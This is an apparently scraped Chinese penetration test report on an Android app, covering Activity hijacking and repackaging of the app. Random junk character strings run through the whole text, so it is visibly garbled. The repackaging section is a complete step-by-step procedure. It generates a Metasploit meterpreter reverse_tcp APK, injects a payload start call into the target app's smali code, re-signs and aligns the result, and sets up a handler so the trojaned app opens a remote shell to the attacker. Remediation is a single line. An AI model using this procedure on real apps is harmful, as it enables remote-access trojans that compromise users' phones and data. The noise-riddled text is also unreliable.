原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

- ~4 s3 R \. W7 H; W

. l: x( ]5 g- Y9 z ' P( D9 y* I }& Z* G5 c7 y
! Y1 l: @- _' g 5 }5 ~3 S0 O8 k2 `7 f1 D$ Z3 W9 X

* j( f# |# K* d) z( n c2 D

; G9 V9 H7 W/ o6 x7 K( A8 O 8 m1 u, R: D: B5 w* q# Z 文档编号：                + W" D: B9 v. Y! y* B

$ r4 p4 V9 a, g

2 G* ?) z: @* o# t   5 k3 ^5 {7 m. R& l! `/ ?* `

: c) `3 b1 p% _2 X+ s0 s9 P

# S& I6 i# f+ ^1 o: b w3 @ 4 e G; F2 g" l7 Q* u5 l  

  ! n. [9 E" n- l( Y% u

: r+ F6 l0 m7 p# |4 s. S5 x. |

0 I: X, m! ]$ }9 E; y3 T1 m  

$ L, m( j9 d/ W$ y& a * _ m8 _( O/ z7 n8 ?$ x" ^4 w

  - k$ F! g/ F" u) k: X- c

6 [' K: x% G7 C. G3 G( N3 F 4 ^, Q! W3 ~9 d i: b" d V 某某某APP渗透测试 8 | s! L% e* w% H4 F+ M2 ]- }

+ D8 Q2 v, W% P3 U1 F

) k. ?# n# Q2 }' C+ ]3 I# J   P+ V2 s% h d, ~% r" S3 P8 G ( Z' |" \ ~7 L$ q: s3 q+ f+ u5 K

/ T& ?6 D+ @4 m5 X9 J

/ B8 g V2 J; z  

) B" h6 z6 Q$ ]! `

* t6 ?* a; {8 N ( H# F5 ^; c6 d   0 a* }- o( ?9 w( G) c9 W9 {8 e

+ i4 M- o, V7 g% N- l, h $ E8 X- Z, C9 C7 z) U   . j; u: w; ^1 b3 \- t

# `9 Z$ g- [* P( }! m% d% u8 c" n

6 |/ j5 D: ^+ k: V& ^) t 技 术 报 告

  ; g" a* y; Y3 z7 p 1 g5 O# W" e* ], h8 Q, c

0 H4 W4 S4 [- b! g( h

3 s- t7 S% u+ A$ P. v: u 1 m. b) ^( |6 Q+ N   2 O: ~- Q3 V$ s ]0 ~

: t. z# y" v- ?/ |& V* n2 M9 n6 E$ ~/ X , V2 M) w8 N4 B4 ?5 c* d% h$ g   ! ^6 }) l) I2 W( E# Q

8 y* B0 R' K3 Z+ u: F

 

/ s9 _8 D5 O8 G# I4 i# X9 X) X  

- |8 G6 v% X+ z* t b+ ]

5 Y, z! \0 C8 f9 ?/ M3 y8 a, \& s   9 B$ I# e. E1 D2 j) s- b - W2 f6 t$ B0 H: M' E

, ^3 N6 a7 Q+ _& R b! t: X- K: }; V; W

1 p" o. F: g: E( w3 _ , O( k- t* b N  

8 n. n. l1 }# \ U

6 W1 N B! h; R/ k, l ) j( P# [' N' y* L' ^   % R9 V- d- `4 G) R

9 f1 n2 Z. M q  

$ {# s3 c! Q4 T/ \2 ]' w , U4 |# V6 i* j* v; }2 B3 I

  $ j7 A- W: W" }

6 s; D% w% n7 v& k1 T, x ' g6 M% w" K$ K' {/ f/ ~   # T2 E$ f. s: N, a* d $ Y5 d! C* y' N' }6 s: b. v

4 E; Z+ h( A, p $ K( c( @- [* R, _: J7 |

9 A, X/ C2 S( M3 o: J   8 ]% E/ C! f* O; A6 B5 L) j# j* L

) s$ r Z0 w1 ]$ G- B+ O& ? [

  9 a% C; k$ @. r$ t0 m0 S2 z

: x/ ~+ _3 G& ?

1 v" F$ ^+ W: f# }9 X* X 6 V, Z; [' D' y. o# w M5 T  

9 ? I4 S# X$ D' N. e

1 J) f1 J/ w5 e+ m( a " N1 ?6 s+ }) m. d) c; H7 b   + T9 k0 Z& L, O ' p0 \ H2 R! ?( Z

+ g* v8 I! v3 k" t/ c7 i, w

4 w( e' `& ~" s5 i4 `' U5 { * k5 O# q* w8 U3 m1 r/ q( m3 R   7 T& q5 B. C Z ' K% H; h. i# v1 D3 j0 D/ E

* n8 s9 B) x5 I% L( X+ S

5 h& e4 C; Q2 U 2 O4 T% r: ~; k# B% b( U( u' z$ z   & p9 D* T" _1 t

: u, q3 ^8 d6 g& O! o# \2 ~( n

/ a, a6 I4 H/ p- q/ ~& ]9 i1 @  

+ t5 ?, K1 K$ x4 _) }% M5 ~ Y : {! a1 Y4 F: t+ U. E8 U0 n 二〇二〇年 D/ F6 x" g, o( U4 \

1 _* Z5 T, T$ E0 m

G: z" D- o2 i# c # r- W# ?1 I' a* m1 x5 E
2 _ R7 r. f1 }( b1 u ) t2 E: x9 S* R. K' b: q

( X3 j$ _) q. n) g! h7 P3 _& s

. M3 ~0 B6 P Q2 q g! p
8 C2 |9 I! Z: L6 _ q' K" N5 _ ! P/ I0 {1 I( W

4 S1 f4 M! l, _% i

; x! n) k5 M: e# d# u 目 录 . L0 e+ @. H/ N6 v, W9 X8 G# e + m# H* `7 @- \0 A2 ^

0 V+ U. d6 h! A. S* g $ r+ _, T: M" s) j

) B* U" r. Q8 g( L* C: w  

; ?9 r7 z% U5 b) [# _0 O ; g! j4 Y6 w9 q1 ~, M! O

2 v: D" y( M2 h; _ Q 1 概述... 3

. y4 S' y9 B9 _( b( N6 ? 1.2测试时间... 3

: V8 }, g# \& Y5 I. F3 z/ {6 B 1 V- g- s5 H) {' U5 g

1.3测试对象... 3

3 z; s$ P+ t7 w

0 z8 c6 X& s/ N* R/ D8 T 1.4测试结果... 3 0 \" s9 V& `/ Y6 {+ i2 V 9 d/ t; c% u: d5 U9 H1 @

2 检测结果... 4 7 Y& [* N4 w F3 p) x* \

2.1 某某某... 4

G9 k9 \& Y$ Y4 I$ Z 2.1.1检测目标... 4 6 b! H5 T& U" w

2.1.2检测结果... 4

6 n8 P/ [9 `! Z% C6 t! G 2.1.2.1. 4 ! \* z# P6 K- i7 Z

2.1.2.2. 6

8 v" {0 w3 H3 ^; z8 R1 e6 \4 R0 e & j7 \7 t# i! I c. A* v& j8 Z . q8 ~: ?# @# A" j9 }3 K

# j/ ?+ s G. {6 x4 T ( z5 S' ?4 Q) ^2 X

. i9 n1 `1 s3 r; N i7 h8 P
$ s9 H" w9 ?8 v

3 s, Z( \3 W) w, K , v6 \7 k- K9 I# Q+ ^/ V) [ 1 概述 * b0 q* s5 S$ q- O" v7 `' y6 ]

: H# q( z x* g. _7 i C- O4 D" Q

' {- k- q9 x/ r+ T+ g3 G) u4 m ~ 8 ^! K: v$ x- I 1.2测试时间 : I# @8 q+ c& K2 ^+ \ 6 y. G' m! M& l7 X1 e- ]1 i

5 g' k" L ?3 E" P9 D ) p8 v$ k+ q9 c) N' K + }% }0 ?8 B0 X( ^6 q+ P: m; ^$ w* ^) I. [6 K- [5 B; _+ q* N# i q1 ? F9 `5 ?$ W0 `/ f& j# ?' Y' e; c9 @+ b5 A$ S" ~9 a* }" B$ V# o2 L6 {+ V& r: |. j: p) d5 m% z: c/ Z/ h9 f2 U1 b; \; _/ Z( r$ i+ a2 a+ f2 |9 x% d) c, S8 N! ^3 X3 W z$ h* W: L" a W' Z- n( T$ V8 ~* o( M5 v2 K& x/ S( G' Q5 i8 Y7 w J2 t1 z6 t0 |! v4 X; g. n$ H8 `# i# Y. \; D1 b- H) Z2 ^8 n

' S* h+ a* R$ H0 ~# u. X [) p ( S' L5 y$ u, `- ~3 L) Y0 D 渗透测试时间 9 P4 f O- d, p/ z2 I; x( x! x) f ! ?2 t* x+ C) ` 9 p- n# b; n2 L6 C; m% L% Z% n
8 l, G" o* G+ F9 |$ F 6 S, X- q* j. B0 ?6 G: I 起始时间 6 J" W# T; N' i" Z6 S! u# _) M . A$ F; @) t+ l5 v0 h0 f	" C# K+ U( }6 N' ~ & Z0 A& W* k0 Z% L6 u, g( N+ q2 P 2020年4月6日 3 G: \( O, G& F- A. K- R % R2 q6 p, n9 G" {3 X
- x9 Y1 b% W' Q9 R) c7 c9 S7 v 结束时间	7 X7 t3 N- F( s0 C # U0 w* m1 X; P4 F6 a m6 D2 L 2020年4月9日 0 t# w* [& [1 o ]! ^ . E# R5 G3 W, S9 z7 J& T8 V 9 @9 A/ G; o0 i+ z i% U* g ) I f! ?# x/ V1 B" w

% m2 s- n& c$ W, U2 | & k- E4 d& f6 j5 f. E

1.3测试对象 & K# A5 X8 {2 B5 j& o7 t

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： * Q$ Y" D# W- r+ _, t; M8 |6 G

5 W9 i8 h& ?& q" w3 j8 P 1 S6 O) R7 s( ^- \

& y, m1 w1 \* A; E* L7 m 表1-1 检测对象 , v& h6 q4 `0 t 2 g; x$ M+ j+ B4 E& H, b

( w2 [( l- U+ g 6 V2 ]# [# I, o0 F( m. D; m* i6 |/ a8 Q; `0 }* Q: K5 A x1 R/ S9 u; {6 Y/ H& ?2 t/ F( V; j# }5 t& A# C: t( k8 n8 N0 i9 U5 B q) y% a! a/ m1 A6 m# ^9 |* |1 k- G: p" O/ Z2 T0 N! E0 T$ n* R5 ]- ~) K0 `8 F9 c( i. P% }/ e4 n a2 f6 C% O; d8 ^* T; {/ z: q% }5 Q& l: P! {* j, ~4 j, E) h5 G6 n5 o- \# I3 I6 c2 J* u! l) a1 c+ t& x) f5 S& A5 ~; `. [$ W5 L$ p% ?" y8 M x3 g1 R$ W5 g9 Q& Q3 x ~2 U, M. ~5 T) j* o2 I: }; H, M) [' k9 X( L/ o" N. l. x2 d% p: h9 t5 d x0 W+ |4 n _; d Q

- n) ^' Q* x$ @: J& f4 S3 ` `: h 2 V1 V$ |2 P+ A" ^. N; } ` 序号 + p5 U7 l8 h9 h& S# b- U ?: ~0 v, N/ t# h% W$ t' E( F	- d6 M1 @2 ^* l9 x9 s1 j1 [ $ e: _$ T3 v7 Z$ Y( M$ X9 ` 测试对象 ( s0 u$ z; {, y4 l) d0 \; J6 r$ s 8 L. \ R0 T! K% i7 F - U) ]2 u( @4 [# j4 u. i	/ D* m' |( t$ {& F 测试地址	! i/ b0 F8 E5 X' s- X + u1 V( L. r; m3 {0 J 4 M* i8 f6 g/ w( _- { 安全漏洞 - g# [9 I& ~, p; A7 E 7 D1 M c# ]/ T
) C1 ]4 W' C' t & |. ?) C! m( k 1 - D. I+ w% I0 u3 c8 ?& C8 o . }& i! O$ k8 E4 n4 X 7 p7 s" I1 n* ?	某某某安卓APP 4 i" Z* ]/ m: I4 C& a! b	" N% C; c7 {- Q$ N* o5 b% k4 j- m 9 |! q. C* W! f; w 0 {8 r0 G$ I5 Q4 W7 R   7 x# F4 j" r9 N4 P) g6 S2 X& \ . h+ k, k# q! M3 w" o1 m2 | 8 v; j# N* W+ e) @7 O5 ~ g	, o0 R& h) X7 ]0 [% \+ A; h( ]- P- _ ( y8 U ?3 p" Z: k) _' V " c9 B8 _3 @& d4 j/ o: B 2 2 y. n+ p7 @! S) }3 w: X ( x2 e* v0 L% c. | F4 J, A

' w) A7 I% o) E: o. { 1.4测试结果 $ d+ B2 Y' s, H, |

' ^3 B, c% c$ | R6 E: o' v) n3 K

/ v0 s4 y3 J8 t9 j: V$ v3 S ( ~3 n8 i9 ]0 j$ H& T 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： $ j) Q; _, {1 y$ K: K4 T

; `% n1 V# W, o! F ! N3 r" z3 h5 ~/ t

2 G' u& W2 f: H4 x0 A   5 \* X) u) s; p0 C8 X: i3 e/ l

, ^/ n' Q; ~: e8 i/ z& E 4 q: A8 o% Z& I. F2 M

8 Y+ T, ~/ M: I( `) ]: A; p% n$ W( a5 K # R+ i- l: N7 Q1 b" K ; f( A! e. ]* m9 }3 f$ H! t0 B0 |% L, s! D( o& {; a. l' E" H1 q! ] G: x8 B' q! [0 C7 b( J) {- b1 q k% W# a( W9 y# C4 @$ k- A. @9 a" W" E8 T* a: A5 y/ j M( N3 Z& p6 d. Q3 [/ h3 k* T/ Q. j1 P6 A& w- Y5 F1 b5 A* T4 W. p8 P9 h" ~* N% M/ Q0 b' a+ o4 b8 [0 f' W3 T4 G( B& g3 [3 v9 j8 T7 d0 p/ l/ |) L& d8 ?/ f. S% r! t: Z- f" Q- D2 E4 v/ `; b" }" l6 K8 J" t" J& D% z. z& ~* Q: n1 j% j2 A% V2 A4 K7 H U2 ?; R! ]3 b' ^" [# J0 {

* G, l( s% e, D3 R 序号 6 R8 B: L- _; e& R# m	系统名称 5 }$ O! i; r+ l4 K5 Y/ w! l' f	漏洞名称 0 S: X" i* ?! z5 u1 C2 @3 _ 8 _1 Q6 ~3 Q, m6 e	6 R# R( E" Q ?+ F1 G# ~ ! X; W# x* g$ V 漏洞危害	, z7 }4 V1 X; @& f' C / A4 |8 T: j* B+ @ 修复结果 + v0 j" q* h8 B9 u5 w+ E # Y+ K9 p* o& f8 P 7 r: V1 K) S3 {
: g; o! a: l; M6 a" t, O 9 o) c+ N& c) ]( K( g, u ?5 \ d& g: z: k 1 $ B: g) |! ^8 Q! ~ 6 S7 ]) C: N! r: N) R	! O3 N* T% W7 H" _, m 某某某某某某APP $ J; U7 p) q. J' A	8 p. s% ?- w: f" p' |' z 2 B+ l1 q: T# t8 }$ H% @6 O) @ Activity 劫持 " n0 \% I. z1 u' l $ u0 D2 |% h5 C5 n& A/ A k   ; Z4 W" Q8 T. R* A6 D& e/ X. V ( Z5 s0 i$ |% D/ G0 q& q 8 q/ q6 k- D! y( J	! s# {9 x- g) B" @ ! e* N- H, d* h* I' Q 高 # i% n6 W3 y( J; L* u ) o7 s, P; D! Z1 o2 ^	7 Y6 C8 I1 Q& @+ B; k- q / V2 }8 d# s/ @$ Q $ ~- s P# W8 Y3 ]; d) ^
% e) Q& C' q+ e9 t7 ` % a4 ^ L6 L, ]" a8 L; h/ E 0 x- r1 _* q2 j 2	* h2 R, S) U d- I 1 I) L# o0 c: Q$ J6 I 某某某某某某APP : q) n T& u# ^( d- x2 D) o( l( L $ f5 L4 ~3 g/ p* m- m" O+ m - E' K# u. j: q* A( B4 r- S	. A, h" N& e: L* n+ T & {/ v, |% w; w& e3 ^8 K8 d r* [2 g' g0 F8 X* Q' Y ; B0 U0 }7 Y" m; X. \4 b6 B 反编译二次打包捆绑木马、篡改APP代码 ' G' X3 i u1 D5 G4 K* \5 r5 {4 o * U/ u3 ]; W/ t	' C6 v. X( R! N- m " Z# {; T" }! Q1 U 高 ' i5 w1 _7 R0 q+ d6 u) K& m - @: H% t( `: g& x! H2 ~( _3 }	6 S8 n8 X V6 y1 E# I* l- {7 X. ~ 8 T! l$ L+ M+ D D# e- Q( b( M. {5 r   ) I# x* }% P$ r" G+ J3 Y& a5 m2 h/ ? , @& q. |2 P$ P; h$ L3 B% z( j + [) ]9 @& ~8 s* z1 Y( t) ~ 4 J! m4 W( w/ F2 B! j

4 E$ i4 ~ X! u2 ] k: i8 a' E ( j' F7 ?& J. s4 s$ E

8 V% y" `, G3 B; ]1 s   * Y' y: [) F7 l, c

) H) k* O2 D( _; _

% c- _9 ^# J. {- E" X- {* a# y 4 B# M8 e2 Q; ~/ K! n: G4 P 表1-2 测试结果 2 p3 V; A5 A0 G( J 8 A% S5 f* u1 O

; V$ Y4 N7 \: U: ]! U

5 P2 a: }8 d& z8 y ! U* [+ r! z0 z! r/ _2 p* m   3 a; J9 G/ d$ T% V6 V" q8 o: `, o

* W+ D0 B/ [" w1 |0 Y2 p 4 h" Y- \$ E' M% L$ k

; O' c2 A! `6 p , G9 a* X# ^5 {, F; N" u( c* { 2 检测结果                    " _! e" Q* Z5 u% I. ~

N# n' a' `" @ K9 T, c5 }) V1 C

( y) g0 X9 o; d! G# Y, c" A1 _ 2.1 某某某 ! l+ r4 `- s: `2 O. I4 c; T

4 C8 q4 |2 f6 }4 f8 V9 ?& @$ Z' H

2.1.1检测目标

( [; h9 }3 l1 \9 \* @5 m1 s2 d. C8 I

# y3 M) V- ?& k6 U 目标地址： 某某某某某某APP A5 {7 \) Y2 J% h

# }4 i9 c* Y$ x/ `

2.1.2检测结果 ! m( u) a5 n# w0 \) S / a: x+ z+ E A0 A1 _! V

# \& c2 U0 J6 H. `" f

3 o, W* B, L/ e" N# g, } . G4 j: f6 ^" v m6 Q 2.1.2.1 N) [* r! S8 t8 B8 X" Q" d & I( V0 f9 Z. W( o

6 k, E( n* i( l8 `$ c

漏洞链接地址：某某某某某某APP

; E$ b! t. p+ z, d$ u! ?8 I: T

& Q( N: Q9 \% a5 A( h1 r   ) m7 a" I% G1 g* v6 T$ `# o

9 Z" l& O/ M6 t7 F1 y

漏洞分析及取证： / L% t% Y C3 Q: X' r1 }

. |1 w6 K4 Q. P. }) a+ F

3 \! B2 X- B. O. g& w2 S1 w, ~                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： C7 |; i, B) M

1 j E. a8 a/ f L8 W 5 A6 P, ~% q6 D3 _( T, H) Q: N

     6 P) t# ^* f2 x% R- }

7 C% M$ h. t# l) \- c% N7 J

* Q% f" U5 u h* Y; Q. @5 \$ u5 u                      

1 V- D' B" ?4 }' w4 a & @- Y7 i$ n' M* q

6 [6 K1 H3 o5 f/ j; \& X+ \2 Y. c& r

8 r5 d7 {! K2 U9 E0 e+ X

) H% i( P& R" F7 C9 p/ F3 }1 p & e0 I# S8 J6 J9 B) | 6 C9 b# i. R v% H0 r+ B4 R

$ S# ^3 Y- E/ o0 W% I9 A1 e

: t8 Z6 {6 z0 [6 j9 @$ R 漏洞危害：高

6 C, q( D8 ^$ F; W- T

4 f& C5 h( x% G& G( e 8 H8 |2 A( N) C+ m& o+ v/ T. Q/ m. q2 V9 m% K$ Z) h1 n# D3 K# Z1 B% Y+ E% N6 \- {% J! r9 j3 Z/ W' {8 V) f$ `0 D* E9 Q# Z1 v0 S/ V7 [6 j; Z2 q) m1 y/ w( p1 b! b4 Z9 v9 _( Q, R$ H1 y L. T/ L' h/ Y# Z. E( L; ?8 g8 O: D: n: W4 A2 F& P1 `# B0 L3 w2 a9 W2 @3 Q' V1 @, ^! ]. x8 v0 g3 e& Q. c( }# j9 l7 p+ N% t! O5 }. u6 v5 l& ~' Z) o/ ?; ^6 p+ a* G7 [2 f- `! L+ v& i5 I- L% P; i# M( q5 y* N3 N2 M6 t9 Z2 R( A7 ^5 L# V z( j0 [' V7 c( z/ D3 Z

0 x1 x4 F& z/ g4 R0 ^7 H6 O 1 s% f$ |% i" s. Y7 _ 严重程度 6 v) }# L' V5 g 6 Z: q" ]% R: u+ ^3 h3 ?	" s/ Q/ _" } r0 G6 h! `- d, A5 Q6 { 7 X' u% J0 A. E; S1 i' B / g" k, Q% E4 o. K1 _# t+ @4 x0 l, W 高 , T# y. g" g' ^ ^5 M	: c/ ^. x$ [+ \7 w6 _& f' D5 [& ` ■ 1 ~5 `$ L4 W; p3 q0 C	: B( k* D- K9 F" t 中 + r" D0 j0 ~% ]1 K / y" r/ }" W1 J6 |4 L* v	( G" l2 j0 ^0 w' ?7 s6 ^9 T+ ] 5 M% i$ e& @$ s4 K3 F( r	9 g- t! H* a$ K5 U) A 7 h8 o5 A% Z8 d' i _ l9 }. a7 e" x8 m/ W 低 + b5 L1 x/ h" l8 G7 w( m5 ? 8 Q. C$ Z0 N' U$ c6 u. T	# r& B! |3 D5 I5 }) y - _3 k ?% j" Q5 r( Q . [7 f4 O8 @" I+ ~& b' \% Z3 H

x4 M; d! @ m. m' ?% X! }( j

  % ^! m8 L- p& v, z ~1 y

修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 & P8 Y" K5 \7 G W! U6 S $ }" T' x" O& p- J1 ~

; S5 X- R& e7 ?7 V

/ d& e( S/ f& e9 A" g5 m* z3 F: ]4 |          

  : f' w. T2 f4 ]+ {- u* h" w

! l' r/ T: [# N* O: k( }

2.1.2.2 ; P0 q$ J/ {# g* s7 l* Y ! j( `* Q3 r: B* Z, a

9 x" h- G# a# v( | s5 d( F7 ?- X: L

漏洞链接地址：某某某某某某APP / N: D, ^* z! W' f8 V6 i8 U! C5 x

5 ]# |" P# m# c' f! N& v

+ D. R$ c+ }3 h- P, W% { 漏洞分析及取证： 4 B% B2 e f$ v `7 s5 C

0 N1 u' O* X g

e- S8 O+ `3 U9 v' g. y9 ]                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： ) Z/ S# j( p/ l3 \3 ]

2 B1 k8 ~: \( `6 ^6 [- K0 x

( T( e- k i$ c0 R6 L$ Y / B! M" T6 W& c: F 用Metasploit 生成木马 apk - r4 }0 X4 l0 ^. z7 s; G2 [

# ]% Z8 z" w: }" e4 ? 9 Z2 n _- j+ o9 l) [. g msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk * m+ c3 N) V( M' r

5 G1 Q+ x7 G7 r6 {" a* d/ N( F; C

) n; k* E; `. Q$ z , J7 c" q1 L7 i8 i) K- Y; m 反编译目标apk和木马apk 2 D% |1 l- U0 }0 u; M

( M7 d/ V# V. ^$ w+ E/ E& r- [4 o

g9 g: s' q; ^" v2 O apktool d target.apk
apktool d cockhorse.apk % i% `6 R) \% }1 P/ \2 f7 F

# ~+ w& ~" E0 t5 o& X. K! M & g* ?9 ]& @ M7 R. s) R$ \

- \ |# d4 W9 r% @+ N: s ( p z6 ]' |- j3 ~( u( d 木马 apk 注入目标 apk # Z' ?6 Q0 `0 v- z

, B( T3 y# m; P

在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V - `5 |- \1 E: k! z3 @& g; R

& c! U, H, `* Z# S4 L 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 / d8 h$ a& F# Z, P# Y7 I# b 1 N8 C* Q& R3 ]3 V1 D+ }

8 H. a' S8 v! u+ [# @, T* r* m 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下

1 D/ y. [% Y: }" ^ L% g

回编译生成最终 apk 7 c) _5 ~: h7 V. E+ Q$ x+ V2 }

. D0 c) L" {1 c! S1 s. [- P

. N) S/ o* l! ]# Y: b - I# ^1 D/ h7 g* O& e+ z5 [ 重新打包 1 r$ _1 J5 N! j , N+ u) r e" e* `

apktool b -o repackage.apk target_app_floder + O! D) h+ [5 O4 n& V y$ N

! `' W, q2 {7 K+ w/ S J9 ~$ K4 v 创建签名文件，有的话可忽略此步骤

) Z& u3 e, Z7 v* B0 Q# g, s

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                6 i1 ~4 r& C; ~9 \! ` 4 g; A' [$ m5 C1 f9 f

8 r7 w: Y4 v8 l0 K* J$ ^ ! y$ s# s$ s$ Z+ J! `

7 k _+ m% L2 @+ v: c' L 签名，以下任选其一

# o. C1 [' a. I) t! Z* b

jarsigner 方式

/ {( p. `) ]. n; U+ T% L 5 M8 {) a7 ?& t/ k jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname - E3 S1 M P$ o5 U 8 r7 b+ @; P x8 D

' N: D; O" J( I/ I0 O2 V

. F5 w# R: k+ k" ^% K# f. b - h, b" g- x* u0 G apksigner 方式 & \, R5 R1 Z; c5 p6 U! g5 Z

; w& d$ v: I: I5 h! j- U5 V apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 8 D: p8 C2 `( M" N" g

2 {+ V$ y% y% ~6 Y) H 1 R* p m0 h+ h) l7 F2 H

) u$ R5 h \% q 如需要禁用 v2签名 添加选项--v2-signing-enabled false 0 i1 L! A' @( c; E2 G1 a) R

, ^3 V3 e! u* ]* e

- T1 N2 j" b# ^6 s- n 验证，以下任选其一 : w' A b. K" P$ M

5 \$ ? M7 M5 S: u5 x) O- p

# n$ ^1 ]- t$ q' q jarsigner方式 & s4 I8 V! H* ^5 Z3 f2 }) ?

: |$ Y' `5 y1 v+ d( l

9 g7 [# Q+ `1 n' u * y0 }' E( O% o2 D jarsigner -verify repackaged.apk

# E1 o7 k* A9 i: J

% B% ~ h% s) D1 E* C. x 9 S9 }5 L4 F( j2 b: o' Q6 r apksigner 方式 8 C4 ~2 N: S0 P7 g6 F1 e# P

apksigner verify -v --print-certs repackaged.apk 0 i6 u7 ~2 d5 L* ^ C' N/ y( k

9 O8 d; E( [! z8 i9 [" s1 E9 w i ' a+ p9 [: H! z' d' K ~- p6 | keytool方式 ( K9 w1 b9 S! G. w0 b/ w& i5 `( @

( Q; w# }& Z8 O ^; d & X; x q0 e9 ]) j" \

keytool -printcert -jarfile repackaged.apk * R9 m) B I# `# S7 [

0 k# {% S% {4 u1 u # e A' z( W. S% k0 p

0 m* f4 I( t1 g( N 对齐 2 q- \# ^# }% W% m& Q( y

+ |3 g' @1 `/ U) O q( C/ p 3 b! p' o/ E6 |# Z* G4 |

) q) _9 ?6 j' `1 p ! l- }- {; `& C 字节对齐优化 : Y# r, V; s% x 6 n1 x: d+ E- {* O% X+ I

9 a9 Q& O( d* T0 ?: F2 _. ] zipalign -v 4 repackaged.apk final.apk . I# k. l, V3 {/ r( {- t

) B) T1 [& F) m2 Z6 j& u 检查是否对齐 8 m, L6 ?: q( E- V/ x3 b6 r 1 B0 t' K6 e, r0 W6 P, O$ ?

; K5 \# j5 h* d0 C % q( a1 i" ~: g2 U6 D6 V zipalign -c -v 4 final.apk / S/ r. Q, }3 E+ T

0 u9 f8 N6 K A) c

: ^# i0 W2 L+ [) I2 s / p+ e1 @" C/ f& h7 l/ J 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行

4 F5 W$ S" w5 M5 N

& G1 Q, _: u" s 启动Metasploit控制台，配置参数等待上线 6 G! i6 a5 A$ Q

+ S, ?6 u0 ~) Y 在终端依次输入如下命令 - r/ C; b( [& L; r7 M! B

/ q2 |) D3 W7 w9 x5 H3 h! C2 m

msfconsole 6 `" R" U2 o4 D* a$ f

0 \% k5 X; `6 x1 l4 C: u " R8 j. V5 B9 C4 v* E; w use exploit/multi/handler : g# e! e' }& Y0 p _1 B3 e- D8 g7 D; ^. E

9 Q3 ^, U, O; H+ S Y 1 o# D( [8 _, [$ P) U, D

- o0 K: ?% E; @# ^6 v' E6 {1 h set PAYLOAD android/meterpreter/reverse_tcp

) @* A+ g: B6 R

set LHOST 192.xxx.xx.xx

' ^1 i" q' v3 y2 W . J8 W/ z/ J* i) V# D

7 [3 ~2 U0 x# r# w' A7 s! F4 P0 b- i4 n9 X * a y' j2 C, h8 L2 F: t1 Y set LPORT 4444 # Q5 Y% V- v* t0 j- G$ m* _

# I* Q9 `. @* M! x

5 m7 Z+ @! D+ u, j+ u Z+ h* s exploit % O3 J Q; J+ z. w0 U4 a. c; l8 W& Q

( h' f8 Q! c* Z+ u @

+ ]3 n9 t/ ~ {/ H( ~) h 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               ! V) | s+ w* Q; D O4 D

漏洞危害：中 / N$ s# e+ U( B& A. O : h4 T6 F5 J8 Y/ k- ?# B8 H, l

4 i# i' a' ~& ~3 H4 q- ~( @9 `$ L * v! N2 S0 e) ]: W. H! }8 |- l& \: O

& q( ]5 }- M5 y) @0 ]1 n7 j" e$ N ! C, Z* b& @. Y8 n1 y% k 8 L7 Y7 X: O; G# T g1 m5 R' g7 ^0 B- c p0 a/ n+ u S0 q, T/ A+ S, D i+ E& V) u- l( H1 f% x: T6 M9 X$ W# Q, k0 p' I& @( I4 ?% W5 A; B2 Z" V' z* E" ]/ A+ N( d# h2 \: o3 m4 \. o) t% @* t- ^ V% i1 G( x( m% O* W! o# K# e8 W a) `8 k; W1 Q9 }! ?0 ?) k7 M* |2 y

( N1 u0 f# r9 G1 D$ s % e. @ e2 l. N 6 I- ~* m, g5 W, ~! Q 严重程度 0 n0 y# L+ ?4 N Z- z; U* b: C _ 4 w1 F r$ K6 b9 S3 Z1 U	' P; r8 i i& k3 [: L , A: V: n* ?9 ^! C" K# ]% I9 J 高 9 T9 J0 _. V6 d+ s * g! r" n ^8 s3 i - ~6 j6 G* t" F, _! g3 }	) S( N) _9 W! \. L, _* y; m5 y2 C. n ■	]# D6 e5 [' O) Q ' K# u- k0 [( R5 D ; ^+ \; o+ r7 A% R 中 8 [+ C+ \$ F3 o" G! r6 s : B8 a) Q" _. O& Q4 r# d* i" ]5 y	2 d# X+ v1 H7 Z5 T " M2 e% O' Z: K" Q2 ?/ ? 5 M! P3 ?, u! b0 z6 ?# z   / ?) l) P% \* r: N t; C: i. F # N% g! P/ M, O	y6 M, q& O; O& p ; y h& T" v! I% Z" _5 r" U8 i 低 " K" P0 ` w/ N& [9 p' \0 w% A# |6 N , k7 q- _; s. D; G( X ; D% _/ E) b- n6 T9 v # i- w; [) A! Q* Q* r' N* b* e	' r3 u$ n4 D# J1 F; c7 n ( V7 I! a) o. O 7 T6 j; d( \1 {; X4 D1 I$ ]   5 E, f8 S U( H: Q 8 U9 A: O' @: U, x! U/ Y' q. R - W# i- f9 A3 F8 M& e

" u3 [( s! @/ i& ~, ]) K5 K

5 {/ ~+ b. R4 i2 E3 T 0 f4 D: _( q, g

$ t% D8 q' q3 P* J( v# Q / r0 V; V5 W1 S5 S& U4 v4 {   & [: B8 O; ?( p, K1 T% f

- W! I+ k) t# n9 k7 s" p

6 K! }4 Q& ^2 C 修复方法： ' z' ?8 F2 l I) _$ K 3 f; z/ i) Z0 d7 K4 l" _, }

6 F3 A H/ i, I

              1.在 APP 启动时应做签名校验防止二次打包。
